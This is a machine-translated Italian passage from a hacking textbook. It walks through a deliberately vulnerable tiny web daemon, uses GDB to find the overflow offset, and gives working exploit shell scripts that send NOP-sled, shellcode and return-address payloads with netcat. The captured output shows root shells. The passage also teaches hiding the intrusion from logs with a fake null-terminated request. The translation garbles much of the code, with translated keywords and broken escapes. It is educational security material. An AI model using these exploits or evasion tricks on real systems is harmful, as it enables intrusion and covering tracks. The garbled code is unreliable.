struct sockaddr_in host_addr, client_addr; // Informazioni sul mio indirizzo
socklen_t sin_size;

logfd = open (LOGFILE, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);


if (logfd == -1)
fatale ("apertura del file di registro");

if ((sockfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)


fatale ("in socket");

if (setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, & yes, sizeof (int)) == -1)


fatal ("impostazione dell'opzione socket SO_REUSEADDR");

printf ("Avvio di un piccolo web daemon. \ n");


if (daemon (1, 0) == -1) // Fork a un processo daemon in background.
fatal ("fork al processo daemon");

segnale (SIGTERM, handle_shutdown); // Chiama handle_shutdown quando viene ucciso.


segnale (SIGINT, handle_shutdown); // Chiama handle_shutdown quando interrotto.

timestamp (logfd);

Contromisure 325
Pagina 340

write (logfd, "Avvio in corso. \ n", 15);


host_addr.sin_family = AF_INET; // Ordine byte host
host_addr.sin_port = htons (PORT); // Ordine byte di rete breve
host_addr.sin_addr.s_addr = INADDR_ANY; // Compila automaticamente il mio IP.
memset (& (host_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.

if (bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr)) == -1)
fatal ("binding to socket");

if (ascolta (sockfd, 20) == -1)


fatal ("ascolto sul socket");

while (1) {// Accetta il ciclo.


sin_size = sizeof (struct sockaddr_in);
new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr, & sin_size);
if (new_sockfd == -1)
fatale ("accettazione della connessione");

handle_connection (new_sockfd, & client_addr, logfd);


}
return 0;
}

/ * Questa funzione gestisce la connessione sul socket passato da


* ha passato l'indirizzo del cliente e registra all'FD passato. La connessione è
* elaborato come una richiesta web e questa funzione risponde sul connesso
* presa. Infine, il socket passato viene chiuso alla fine della funzione.
*/
void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr, int logfd) {
char non firmato * ptr, richiesta [500], risorsa [500] , log_buffer [500] ;
int fd, length;

length = recv_line (sockfd, richiesta);

sprintf (log_buffer, "From% s:% d \"% s \ "\ t", inet_ntoa (client_addr_ptr-> sin_addr),
ntohs (client_addr_ptr-> sin_port), richiesta);

ptr = strstr (richiesta, "HTTP /"); // Cerca una richiesta dall'aspetto valido.
if (ptr == NULL) {// Allora questo non è un HTTP valido
strcat (log_buffer, "NON HTTP! \ n");
} altro {
* ptr = 0; // Termina il buffer alla fine dell'URL.
ptr = NULL; // Imposta ptr su NULL (utilizzato per segnalare una richiesta non valida).
if (strncmp (request, "GET", 4) == 0) // Ottieni richiesta
ptr = richiesta + 4; // ptr è l'URL.
if (strncmp (request, "HEAD", 5) == 0) // Head request
ptr = richiesta + 5; // ptr è l'URL.
if (ptr == NULL) {// Allora questa non è una richiesta riconosciuta
strcat (log_buffer, "RICHIESTA SCONOSCIUTA! \ n");
} else {// Richiesta valida, con ptr che punta al nome della risorsa
if (ptr [strlen (ptr) - 1] == '/') // Per risorse che terminano con '/',
strcat (ptr, "index.html"); // aggiungi "index.html" alla fine.
strcpy (risorsa, WEBROOT); // Inizia la risorsa con il percorso di root web
strcat (risorsa, ptr); // e unisciti a esso con il percorso della risorsa.
fd = open (risorsa, O_RDONLY, 0); // Prova ad aprire il file.

326 0x600

Pagina 341

if (fd == -1) {// Se il file non viene trovato


strcat (log_buffer, "404 Not Found \ n");
send_string (sockfd, "HTTP / 1.0 404 NOT FOUND \ r \ n");
send_string (sockfd, "Server: minuscolo server web \ r \ n \ r \ n");
send_string (sockfd, "<html> <head> <title> 404 Not Found </title> </head>");
send_string (sockfd, "<body> <h1> URL non trovato </h1> </body> </html> \ r \ n");
} else {// Altrimenti, pubblica il file.
strcat (log_buffer, "200 OK \ n");
send_string (sockfd, "HTTP / 1.0 200 OK \ r \ n");
send_string (sockfd, "Server: minuscolo server web \ r \ n \ r \ n");
if (ptr == request + 4) {// Allora questa è una richiesta GET
if ((length = get_file_size (fd)) == -1)
fatale ("ottenere la dimensione del file di risorse");
if ((ptr = (unsigned char *) malloc (length)) == NULL)
fatal ("allocare memoria per la lettura della risorsa");
read (fd, ptr, length); // Legge il file in memoria.
invia (sockfd, ptr, length, 0); // Invia a socket.
libero (ptr); // Memoria file libera.
}
chiudere (fd); // Chiude il file.
} // Termina se blocco per file trovato / non trovato.
} // End if block per una richiesta valida.
} // End if block per HTTP valido.
timestamp (logfd);
length = strlen (log_buffer);
scrivi (logfd, log_buffer, length); // Scrivi nel registro.

arresto (sockfd, SHUT_RDWR); // Chiude il socket con grazia.


}

/ * Questa funzione accetta un descrittore di file aperto e restituisce


* la dimensione del file associato. Restituisce -1 in caso di errore.
*/
int get_file_size (int fd) {
struct stat stat_struct;

if (fstat (fd, & stat_struct) == -1)


return -1;
return (int) stat_struct.st_size;
}
/ * Questa funzione scrive una stringa di timestamp nel descrittore di file aperto
* passato ad esso.
*/
void timestamp (fd) {
time_t now;
struct tm * time_struct;
int length;
char time_buffer [40];

momento attuale); // Recupera il numero di secondi dall'epoca.


time_struct = localtime ((const time_t *) & now); // Converti in tm struct.
length = strftime (time_buffer, 40, "% m /% d /% Y% H:% M:% S>", time_struct);
scrivi (fd, time_buffer, length); // Scrive la stringa del timestamp nel log.
}

Contromisure 327

Pagina 342

Questo programma demone esegue il fork in background, scrive in un file di registro con
timestamp ed esce in modo pulito quando viene ucciso. Il descrittore del file di registro e
i socket di ricezione della connessione sono dichiarati come globali in modo che possano essere chiusi
in modo pulito dalla funzione handle_shutdown () . Questa funzione è impostata come callback
gestore per i segnali di terminazione e interruzione, che consente al programma di farlo
esce con grazia quando viene ucciso con il comando kill .
L'output seguente mostra il programma compilato, eseguito e terminato.
Si noti che il file di registro contiene i timestamp e il messaggio di arresto
quando il programma cattura il segnale di terminazione e chiama handle_shutdown ()
per uscire con grazia.

reader @ hacking: ~ / booksrc $ gcc -o tinywebd tinywebd.c


reader @ hacking: ~ / booksrc $ sudo chown root ./tinywebd
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./tinywebd
lettore @ hacking: ~ / booksrc $ ./tinywebd
Avvio di un piccolo demone web.

lettore @ hacking: ~ / booksrc $ ./webserver_id 127.0.0.1


Il server web per 127.0.0.1 è Tiny webserver
lettore @ hacking: ~ / booksrc $ ps ax | grep tinywebd
25058? Ss 0:00 ./tinywebd
25075 punti / 3 R + 0:00 grep tinywebd
lettore @ hacking: ~ / booksrc $ kill 25058
lettore @ hacking: ~ / booksrc $ ps ax | grep tinywebd
25121 punti / 3 R + 0:00 grep tinywebd
lettore @ hacking: ~ / booksrc $ cat /var/log/tinywebd.log
cat: /var/log/tinywebd.log: autorizzazione negata
reader @ hacking: ~ / booksrc $ sudo cat /var/log/tinywebd.log
22/07/2007 17:55:45> Avvio.
22/07/2007 17:57:00> Da 127.0.0.1:38127 "HEAD / HTTP / 1.0" 200 OK
22/07/2007 17:57:21> Arresto.
lettore @ hacking: ~ / booksrc $

Questo programma tinywebd serve contenuti HTTP proprio come l'originale tinyweb
programma, ma si comporta come un demone di sistema, staccandosi dal controllo
terminale e la scrittura in un file di registro. Entrambi i programmi sono vulnerabili allo stesso
exploit di overflow; tuttavia, lo sfruttamento è solo l'inizio. Usando il
nuovo demone tinyweb come obiettivo di exploit più realistico, imparerai come farlo
evitare il rilevamento dopo l'intrusione.

0x630 Strumenti del mestiere


Con un obiettivo realistico in atto, torniamo dal lato dell'attaccante
la recinzione. Per questo tipo di attacco, gli script di exploit sono uno strumento essenziale di
commercio. Come un set di grimaldelli nelle mani di un professionista, gli exploit si aprono
molte porte per un hacker. Attraverso un'attenta manipolazione dell'interno
meccanismi, la sicurezza può essere completamente elusa.

328 0x600

Pagina 343

Nei capitoli precedenti, abbiamo scritto il codice di exploit in C e manualmente


vulnerabilità sfruttate dalla riga di comando. La linea sottile tra
un programma di exploit e uno strumento di exploit è una questione di finalizzazione e riconciliazione
figurabilità. I programmi di exploit sono più simili a pistole che a strumenti. Come una pistola, un
Il programma exploit ha un'utilità singolare e l'interfaccia utente è semplice come
premendo un grilletto. Sia le armi che i programmi di exploit sono prodotti finalizzati
può essere utilizzato da persone non qualificate con risultati pericolosi. Al contrario, exploit
gli strumenti di solito non sono prodotti finiti, né sono pensati per essere utilizzati da altri.
Con una comprensione della programmazione, è naturale che un hacker lo faccia
iniziare a scrivere i propri script e strumenti per favorire lo sfruttamento. Questi personalizzati
strumenti automatizzano attività noiose e facilitano la sperimentazione. Come convenzionale
strumenti, possono essere utilizzati per molti scopi, estendendo le abilità dell'utente.

0x631 tinywebd Exploit Tool


Per il daemon tinyweb, vogliamo uno strumento di exploit che ci consenta di sperimentare
con le vulnerabilità. Come nello sviluppo dei nostri precedenti exploit,
GDB viene utilizzato per primo per capire i dettagli della vulnerabilità, come gli offset.
L'offset per l'indirizzo del mittente sarà lo stesso dell'originale tinyweb.c
programma, ma un programma demone presenta ulteriori sfide. Il demone
call esegue il fork del processo, esegue il resto del programma nel processo figlio,
mentre il processo genitore esce. Nell'output di seguito, viene impostato un punto di interruzione dopo
la chiamata daemon () , ma il debugger non la colpisce mai.

reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c


lettore @ hacking: ~ / booksrc $ sudo gdb -q ./a.out

avviso: non si utilizza un file non attendibile "/home/reader/.gdbinit"


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco 47
42
43 if (setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, & yes, sizeof (int)) == -1)
44 fatal ("impostazione dell'opzione socket SO_REUSEADDR");
45
46 printf ("Avvio di un piccolo web daemon. \ n");
47 if (daemon (1, 1) == -1) // Fork a un processo daemon in background.
48 fatal ("fork al processo daemon");
49
50 segnale (SIGTERM, handle_shutdown); // Chiama handle_shutdown quando viene ucciso.
51 segnale (SIGINT, handle_shutdown); // Chiama handle_shutdown quando interrotto.
(gdb) break 50
Punto di interruzione 1 in 0x8048e84: file tinywebd.c, riga 50.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
Avvio di un piccolo demone web.

Il programma è stato chiuso normalmente.


(gdb)

Contromisure 329

Pagina 344

Quando il programma viene eseguito, esce semplicemente. Per eseguire il debug di questo programma,
A GDB deve essere detto di seguire il processo figlio, invece di seguire il
genitore. Questo viene fatto impostando follow-fork-mode su child . Dopo questa modifica, il
debugger seguirà l'esecuzione nel processo figlio, dove il punto di interruzione
può essere colpito.

(gdb) imposta la modalità figlio follow-fork


(gdb) aiuta a impostare la modalità follow-fork
Imposta la risposta del debugger a una chiamata di programma di fork o vfork.
Un fork o vfork crea un nuovo processo. La modalità follow-fork può essere:
genitore: il processo originale viene sottoposto a debug dopo un fork
figlio: viene eseguito il debug del nuovo processo dopo un fork
Il processo non seguito continuerà a essere eseguito.
Per impostazione predefinita, il debugger seguirà il processo padre.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
Avvio di un piccolo demone web.
[Passaggio all'elaborazione 1051]

Breakpoint 1, main () su tinywebd.c: 50


50 segnale (SIGTERM, handle_shutdown); // Chiama handle_shutdown quando viene ucciso.
(gdb) esci
Il programma è in esecuzione. Esci comunque? (y o n) y
lettore @ hacking: ~ / booksrc $ ps aux | grep a.out
radice 911 0,0 0,0 1636 416? Ss 06:04 0:00 /home/reader/booksrc/a.out
reader 1207 0.0 0.0 2880748 punti / 2 R + 06:13 0:00 grep a.out
reader @ hacking: ~ / booksrc $ sudo kill 911
lettore @ hacking: ~ / booksrc $

È utile sapere come eseguire il debug dei processi figlio, ma poiché abbiamo bisogno di
valori di stack specifici, è molto più pulito e più facile da associare a una corsa
processi. Dopo aver eliminato tutti i processi a.out vaganti, il demone tinyweb è
riavviato e poi attaccato a GDB.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di tiny web daemon ..
lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd
radice 25830 0,0 0,0 1636 356? SS 20:10 0:00 ./tinywebd
lettore 25837 0,0 0,0 2880748 punti / 1 R + 20:10 0:00 grep tinywebd
reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c
reader @ hacking: ~ / booksrc $ sudo gdb -q — pid = 25830 --symbols =. / a.out

avviso: non si utilizza un file non attendibile "/home/reader/.gdbinit"


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
Collegamento al processo 25830
/ cow / home / reader / booksrc / tinywebd: nessun file o directory di questo tipo.
È già in corso il debug di un programma. Uccidilo? (y o n) n
Programma non terminato.
(gdb) bt
# 0 0xb7fe77f2 in ?? ()
# 1 0xb7f691e1 in ?? ()
# 2 0x08048f87 in main () su tinywebd.c: 68
(gdb) list 68

330 0x600

Pagina 345

63 if (ascolta (sockfd, 20) == -1)


64 fatal ("ascolto sul socket");
65
66 while (1) {// Accetta il ciclo
67
68 sin_size = sizeof
new_sockfd (struct
= accept sockaddr_in);
(sockfd, (struct sockaddr *) & client_addr, & sin_size);
69 if (new_sockfd == -1)
70 fatale ("accettazione della connessione");
71
72 handle_connection (new_sockfd, & client_addr, logfd);
(gdb) list handle_connection
77 / * Questa funzione gestisce la connessione sul socket passato da
78 * ha passato l'indirizzo del client e registra all'FD passato. La connessione è
79 * elaborato come una richiesta web e questa funzione risponde tramite il connesso
Presa 80 *. Infine, il socket passato viene chiuso alla fine della funzione.
81 * /
82 void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr, int logfd) {
83 char non firmato * ptr, richiesta [500], risorsa [500], log_buffer [500];
84 int fd, length;
85
86 length = recv_line (sockfd, richiesta);
(gdb) break 86
Punto di interruzione 1 in 0x8048fc3: file tinywebd.c, riga 86.
(gdb) cont
Continuando.

L'esecuzione si interrompe mentre il daemon tinyweb attende una connessione.


Ancora una volta, viene stabilita una connessione al server Web utilizzando un browser per avanzare
l'esecuzione del codice al punto di interruzione.

Breakpoint 1, handle_connection (sockfd = 5, client_addr_ptr = 0xbffff810) su tinywebd.c: 86


86 length = recv_line (sockfd, richiesta);
(gdb) bt
# 0 handle_connection (sockfd = 5, client_addr_ptr = 0xbffff810, logfd = 3) su tinywebd.c: 86
# 1 0x08048fb7 in main () su tinywebd.c: 72
(gdb) x / x richiesta
0xbffff5c0: 0x080484ec
(gdb) x / 16x richiesta + 500
0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848
0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0
0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048fb7 0x00000005
0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004
(gdb) x / x 0xbffff7d4 + 8
0xbffff7dc: 0x08048fb7
(gdb) p / x 0xbffff7dc - 0xbffff5c0
$ 1 = 0x21c
(gdb) p 0xbffff7dc - 0xbffff5c0
$ 2 = 540
(gdb) p / x 0xbffff5c0 + 100
$ 3 = 0xbffff624
(gdb) esci
Il programma è in esecuzione. Chiudere comunque (e staccarlo)? (y o n) y
Scollegamento dal programma:, processo 25830
lettore @ hacking: ~ / booksrc $

Contromisure 331

Pagina 346

Il debugger mostra che il buffer della richiesta inizia da 0xbffff5c0 e il


l'indirizzo di ritorno memorizzato è 0xbffff7dc , il che significa che l'offset è di 540 byte.
Il posto più sicuro per lo shellcode è vicino alla metà della richiesta di 500 byte
buffer. Nell'output seguente, viene creato un buffer di exploit che integra il file
shellcode tra una slitta NOP e l'indirizzo di ritorno ripetuto 32 volte. Il
128 byte di indirizzo di ritorno ripetuto mantengono lo shellcode fuori dallo stack non sicuro
memoria, che potrebbe essere sovrascritta. Ci sono anche byte non sicuri vicino al file
inizio dell'exploit buffer, che verrà sovrascritto durante la terminazione null
zione. Per mantenere lo shellcode fuori da questo intervallo, viene inserito uno sled NOP da 100 byte
davanti ad esso. Questo lascia una zona di atterraggio sicura per il puntatore di esecuzione, con il
shellcode su 0xbffff624 . Il seguente output sfrutta la vulnerabilità utilizzando
lo shellcode di loopback.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ wc -c loopback_shell
83 loopback_shell

lettore @ hacking: ~ / booksrc $ echo $ ((540 + 4 - (32 * 4) - 83))


333
lettore @ hacking: ~ / booksrc $ nc -l -p 31337 &
[1] 9835
reader @ hacking: ~ / booksrc $ jobs
[1] + Running nc -l -p 31337 e
reader @ hacking: ~ / booksrc $ (perl -e 'print "\ x90" x333'; cat loopback_shell; perl -e 'print "\
x24 \ xf6 \ xff \ xbf "x32." \ r \ n "') | nc -w 1 -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ fg
nc -l -p 31337
chi sono
radice

Poiché l'offset per l'indirizzo di ritorno è 540 byte, sono necessari 544 byte
per sovrascrivere l'indirizzo. Con lo shellcode di loopback a 83 byte e l'estensione
indirizzo di ritorno sovrascritto ripetuto 32 volte, lo dimostra una semplice aritmetica
lo sled NOP deve essere di 333 byte per allineare tutto nel buffer degli exploit
propriamente. netcat viene eseguito in modalità di ascolto con una e commerciale ( & ) aggiunta a
la fine, che invia il processo in background. Questo ascolta il
connessione dallo shellcode e può essere ripresa in seguito con il comando
fg (primo piano). Sul LiveCD, il simbolo ( @ ) nel prompt dei comandi
cambierà colore se sono presenti lavori in background, che possono anche essere elencati con
il comando jobs . Quando il buffer di exploit viene reindirizzato a netcat, l' opzione -w
è usato per dirgli di scadere dopo un secondo. In seguito, lo sfondo
Il processo netcat che ha ricevuto la shell connectback può essere ripreso.
Tutto questo funziona bene, ma se viene utilizzato uno shellcode di dimensioni diverse, il NOP
la dimensione della slitta deve essere ricalcolata. Tutti questi passaggi ripetitivi possono essere inseriti in un file
script di shell singolo.
La shell BASH consente semplici strutture di controllo. L' istruzione if in
l'inizio di questo script è solo per il controllo degli errori e la visualizzazione dell'utilizzo

332 0x600
Pagina 347

Messaggio. Le variabili di shell vengono utilizzate per l'offset e sovrascrivere l'indirizzo di ritorno,
in modo che possano essere facilmente modificati per un obiettivo diverso. Lo shellcode utilizzato per
l'exploit viene passato come argomento della riga di comando, il che lo rende utile
strumento per provare una varietà di shellcode.

xtool_tinywebd.sh

#! / bin / sh
# Uno strumento per sfruttare tinywebd

se [-z "$ 2"]; then # Se l'argomento 2 è vuoto


echo "Utilizzo: $ 0 <file shellcode> <IP di destinazione>"
Uscita
fi
OFFSET = 540
RETADDR = "\ x24 \ xf6 \ xff \ xbf" # A +100 byte dal buffer @ 0xbffff5c0
echo "IP di destinazione: $ 2"
DIMENSIONE = `wc -c $ 1 | tagliare -f1 -d '' `
echo "codice shell: $ 1 ($ SIZE byte)"
ALIGNED_SLED_SIZE = $ (($ OFFSET + 4 - (32 * 4) - $ SIZE))

echo "[NOP ($ ALIGNED_SLED_SIZE bytes)] [shellcode ($ SIZE bytes)] [ret addr


($ ((4 * 32)) byte)] "
(perl -e "print \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" \ r \ n \ "";) | nc -w 1 -v $ 2 80

Si noti che questo script ripete l'indirizzo del mittente per ulteriori trentatré
tempo, ma utilizza 128 byte (32 × 4) per calcolare la dimensione della slitta. Questo mette un
copia extra dell'indirizzo di ritorno oltre il punto in cui l'offset lo impone. Qualche volta
diverse opzioni del compilatore sposteranno un po 'l'indirizzo del mittente,
quindi questo rende l'exploit più affidabile. L'output di seguito mostra che questo strumento è
utilizzato per sfruttare ancora una volta il daemon tinyweb, ma con il port-binding
shellcode.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di un piccolo demone web.
reader @ hacking: ~ / booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: portbinding_shellcode (92 byte)
[NOP (324 byte)] [codice shell (92 byte)] [ret addr (128 byte)]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) aperto
chi sono
radice

Ora che la parte attaccante è armata di uno script di exploit, considera cosa
accade quando viene utilizzato. Se tu fossi l'amministratore del server in esecuzione
il daemon tinyweb, quali sarebbero i primi segni che sei stato violato?

Contromisure 333

Pagina 348

File di registro 0x640


Uno dei due segni più evidenti di intrusione è il file di registro. Il file di registro è stato mantenuto
del daemon tinyweb è uno dei primi posti in cui esaminare quando i problemi-
sparare a un problema. Anche se gli exploit dell'aggressore hanno avuto successo,
il file di registro mantiene una registrazione dolorosamente ovvia che qualcosa è successo.

File di registro tinywebd

reader @ hacking: ~ / booksrc $ sudo cat /var/log/tinywebd.log


25/07/2007 14:55:45> Avvio.
25/07/2007 14:57:00> Da 127.0.0.1:38127 "HEAD / HTTP / 1.0" 200 OK
25/07/2007 17:49:14> Da 127.0.0.1:50201 "GET / HTTP / 1.1" 200 OK
25/07/2007 17:49:14> Da 127.0.0.1:50202 "GET /image.jpg HTTP / 1.1" 200 OK
25/07/2007 17:49:14> Da 127.0.0.1:50203 "GET /favicon.ico HTTP / 1.1" 404 non trovato
25/07/2007 17:57:21> Arresto.
08/01/2007 15:43:08> Avviamento ..
08/01/2007 15:43:41> Da 127.0.0.1:45396 "

jfX1CRj j jfXCh
fT $ fhzifS j QV CI? Iy
Rh // shh / bin RS $ $ $ $ $ $
$$$$$$$$$$$$$$$$$
$ $ $ $ $ $ $ $ "NON HTTP!
lettore @ hacking: ~ / booksrc $

Ovviamente in questo caso, dopo che l'attaccante ottiene una shell di root, può semplicemente modificare
il file di registro poiché si trova sullo stesso sistema. Su reti protette, tuttavia, le copie
dei log vengono spesso inviati a un altro server sicuro. In casi estremi, vengono inviati i registri
a una stampante per la copia cartacea, quindi c'è una registrazione fisica. Questi tipi di contro
misure prevengono la manomissione dei log dopo lo sfruttamento riuscito.

0x641 Si fondono con la folla


Anche se i file di registro stessi non possono essere modificati, occasionalmente cosa
può essere registrato. I file di registro di solito contengono molte voci valide, mentre
i tentativi di exploit sporgono come un pollice irritato. Il programma daemon tinyweb
può essere indotto con l'inganno a registrare una voce dall'aspetto valido per un tentativo di exploit.
Guarda il codice sorgente e vedi se riesci a capire come farlo prima
continuando. L'idea è di far sembrare la voce di log una richiesta web valida,
come il seguente:
22/07/2007 17:57:00> Da 127.0.0.1:38127 "HEAD / HTTP / 1.0" 200 OK
25/07/2007 14:49:14> Da 127.0.0.1:50201 "GET / HTTP / 1.1" 200 OK
25/07/2007 14:49:14> Da 127.0.0.1:50202 "GET /image.jpg HTTP / 1.1" 200 OK
25/07/2007 14:49:14> Da 127.0.0.1:50203 "GET /favicon.ico HTTP / 1.1" 404 non trovato

Questo tipo di mimetizzazione è molto efficace nelle grandi imprese con ampi
log, dato che ci sono così tante richieste valide tra cui nascondersi: È più facile
confondersi in un centro commerciale affollato che in una strada deserta. Ma esattamente come ti nascondi
un grosso, brutto cuscinetto contro gli exploit nei vestiti della proverbiale pecora?

334 0x600

Pagina 349

C'è un semplice errore nel codice sorgente del daemon tinyweb che consente
il buffer delle richieste deve essere troncato in anticipo quando viene utilizzato per l'output del file di registro,
ma non quando si copia in memoria. La funzione recv_line () utilizza \ r \ n come
delimitatore; tuttavia, tutte le altre funzioni stringa standard utilizzano un byte nullo per
il delimitatore. Queste funzioni stringa vengono utilizzate per scrivere nel file di registro, quindi da
utilizzando strategicamente entrambi i delimitatori, i dati scritti nel registro possono essere parzialmente
controllato.
Il seguente script di exploit mette una richiesta dall'aspetto valido davanti al resto
dell'exploit buffer. La slitta NOP viene ridotta per accogliere i nuovi dati.

xtool_tinywebd_stealth.sh

#! / bin / sh
# strumento di sfruttamento invisibile
se [-z "$ 2"]; then # Se l'argomento 2 è vuoto
echo "Utilizzo: $ 0 <file shellcode> <IP di destinazione>"
Uscita
fi
FAKEREQUEST = "GET / HTTP / 1.1 \ x00"
FR_SIZE = $ (perl -e "print \" $ FAKEREQUEST \ "" | wc -c | cut -f1 -d '')
OFFSET = 540
RETADDR = "\ x24 \ xf6 \ xff \ xbf" # A +100 byte dal buffer @ 0xbffff5c0
echo "IP di destinazione: $ 2"
DIMENSIONE = `wc -c $ 1 | tagliare -f1 -d '' `
echo "codice shell: $ 1 ($ SIZE byte)"
echo "richiesta falsa: \" $ FAKEREQUEST \ "($ FR_SIZE byte)"
ALIGNED_SLED_SIZE = $ (($ OFFSET + 4 - (32 * 4) - $ SIZE - $ FR_SIZE))

echo "[Fake Request ($ FR_SIZE b)] [NOP ($ ALIGNED_SLED_SIZE b)] [shellcode


($ SIZE b)] [ret addr ($ ((4 * 32)) b)] "
(perl -e "print \" $ FAKEREQUEST \ ". \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" \ r \ n \ "") | nc -w 1 -v $ 2 80

Questo nuovo buffer di exploit utilizza il delimitatore di byte nullo per terminare il falso
richiesta camouflage. Un byte nullo non interromperà la funzione recv_line () , quindi il
il resto del buffer degli exploit viene copiato nello stack. Poiché la stringa funziona
usato per scrivere nel log usa un byte nullo per la terminazione, la falsa richiesta è
registrato e il resto dell'exploit viene nascosto. Il seguente output lo mostra
script di exploit in uso.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ nc -l -p 31337 &
[1] 7714
reader @ hacking: ~ / booksrc $ jobs
[1] + Running nc -l -p 31337 e
lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd_steath.sh loopback_shell 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: loopback_shell (83 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]

Contromisure 335

Pagina 350

localhost [127.0.0.1] 80 (www) aperto


lettore @ hacking: ~ / booksrc $ fg
nc -l -p 31337
chi sono
radice

La connessione utilizzata da questo exploit crea le seguenti voci del file di registro
sulla macchina server.

08/02/2007 13:37:36> Avviamento ..


08/02/2007 13:37:44> Da 127.0.0.1:32828 "GET / HTTP / 1.1" 200 OK

Anche se l'indirizzo IP registrato non può essere modificato utilizzando questo metodo,
la richiesta stessa sembra valida, quindi non attirerà troppa attenzione.

0x650 Overlooking the Ovvio


In uno scenario reale, l'altro segno evidente di intrusione è ancora di più
evidente dei file di registro. Tuttavia, durante il test, questo è qualcosa che è facilmente
trascurato. Se i file di registro ti sembrano il segno più ovvio di intrusione,
allora ti stai dimenticando della perdita del servizio. Quando il tinyweb daemon
viene sfruttato, il processo viene indotto a fornire una shell di root remota, ma
non elabora più le richieste web. In uno scenario del mondo reale, questo exploit lo farebbe
essere rilevato quasi immediatamente quando qualcuno cerca di accedere al sito web.
Un abile hacker non può solo aprire un programma per sfruttarlo, può farlo
anche rimettere insieme il programma e mantenerlo in esecuzione. Il programma
continua a elaborare le richieste e sembra che non sia successo nulla.

0x651 Un passo alla volta


Gli exploit complessi sono difficili perché tante cose diverse possono andare storte,
senza alcuna indicazione della causa principale. Dal momento che possono essere necessarie ore solo per rintracciarlo
dove si è verificato l'errore, di solito è meglio rompere un exploit complesso
in parti più piccole. L'obiettivo finale è un pezzo di shellcode che genererà una shell
tuttavia mantenere il server tinyweb in esecuzione. La shell è interattiva, il che causa
alcune complicazioni, quindi affrontiamole più tardi. Per ora, il primo passo dovrebbe
capire come rimettere insieme il demone tinyweb dopo l'exploit-
ing it. Cominciamo scrivendo un pezzo di shellcode che fa qualcosa per dimostrare
è stato eseguito e quindi rimette insieme il daemon tinyweb in modo che possa elaborare fur-
altre richieste web.
Poiché il demone tinyweb reindirizza lo standard a / dev / null, scrivendo
standard out non è un indicatore affidabile per lo shellcode. Un modo semplice per dimostrare
lo shellcode eseguito è creare un file. Questo può essere fatto effettuando una chiamata a open () ,
e quindi chiudi () . Ovviamente, la chiamata open () richiederà i flag appropriati per
crea un file. Potremmo esaminare i file include per capire cosa O_CREAT
e tutte le altre definizioni necessarie in realtà sono e fanno tutti i calcoli bit per bit
per gli argomenti, ma è una specie di rompicoglioni. Se ricordi, abbiamo finito
già qualcosa del genere: il programma notetaker chiama open ()
che creerà un file se non esisteva. Il programma strace può essere utilizzato su

336 0x600

Pagina 351

qualsiasi programma per mostrare ogni chiamata di sistema che fa. Nell'output di seguito, questo è
usato per verificare che gli argomenti di open () in C corrispondano al file raw sys-
il tem chiama.

reader @ hacking: ~ / booksrc $ strace ./notetaker test


execve ("./ notetaker", ["./notetaker", "test"], [/ * 27 vars * /]) = 0
brk (0) = 0x804a000
access ("/ etc / ld.so.nohwcap", F_OK) = -1 ENOENT (nessun file o directory di questo tipo)
mmap2 (NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7fe5000
access ("/ etc / ld.so.preload", R_OK) = -1 ENOENT (nessun file o directory di questo tipo)
open ("/ etc / ld.so.cache", O_RDONLY) = 3
fstat64 (3, {st_mode = S_IFREG | 0644, st_size = 70799, ..}) = 0
mmap2 (NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000
chiudere (3) =0
access ("/ etc / ld.so.nohwcap", F_OK) = -1 ENOENT (nessun file o directory di questo tipo)
open ("/ lib / tls / i686 / cmov / libc.so.6", O_RDONLY) = 3
leggi (3, "\ 177ELF \ 1 \ 1 \ 1 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 0 \ 3 \ 0 \ 3 \ 0 \ 1 \ 0 \ 0 \ 0 \ 0` \ 1 \ 000 ".., 512) = 512
fstat64 (3, {st_mode = S_IFREG | 0644, st_size = 1307104, ..}) = 0
